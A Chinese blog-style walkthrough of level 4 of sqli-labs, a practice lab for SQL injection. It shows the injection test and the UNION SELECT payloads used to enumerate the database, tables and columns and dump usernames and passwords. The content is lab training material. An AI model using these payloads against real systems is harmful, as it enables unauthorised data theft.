sqli-labs第四关
2022/1/10 19:05:36
本文主要是介绍sqli-labs第四关,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
初始页面:
判断注入:?id=1, ?id=1', 这两个回显都正常,没有问题,再试?id=1"回显界面:
箭头方框的位置是:"1""),别看错,前面的 ' 是和后面的 LIMIT 0,1' 闭合的。
所以我们可以猜想语句然后拼接语句:select * from xxx where id=("$id")
所以我们的payload就是:?id=1")--+
猜解字段数payload:?id=-1") order by $number--+ ($number是数字变量)
当$number是4时:
所以字段数有3个,payload:?id=-1") union select 1,2,3--+
接下来就直接写payload就不截图了,前面的与一到三关一样,payload:
数据库名、用户:?id=-1") union select 1,database(),user()--+
表名:?id=-1") union select 1,2,group_concat(hex(table_name)) from information_schema.tables where table_schema=database()--+ security
列名:?id=-1") union select 1,2,group_concat(hex(column_name)) from information_schema.columns where table_name='users'--+
USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, username, password
查看username和password:?id=-1") union select 1,2,group_concat(username,0x3a,password) from users--+
就酱紫了!
这篇关于sqli-labs第四关的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-09“2024鸿蒙零基础快速实战-仿抖音App开发(ArkTS版)”实战课程已上线
- 2024-05-09聊聊如何通过arthas-tunnel-server来远程管理所有需要arthas监控的应用
- 2024-05-09log4j2这么配就对了
- 2024-05-09nginx修改Content-Type
- 2024-05-09Redis多数据源,看这篇就够了
- 2024-05-09Google Chrome驱动程序 124.0.6367.62(正式版本)去哪下载?
- 2024-05-09有没有大佬知道这种数据应该怎么抓取呀?
- 2024-05-09这种运行结果里的10.100000001,怎么能最快改成10.1?
- 2024-05-09企业src漏洞挖掘-有意思的命令执行
- 2024-05-08阿里云域名注册流程,分享给第一次购买域名的新手站长!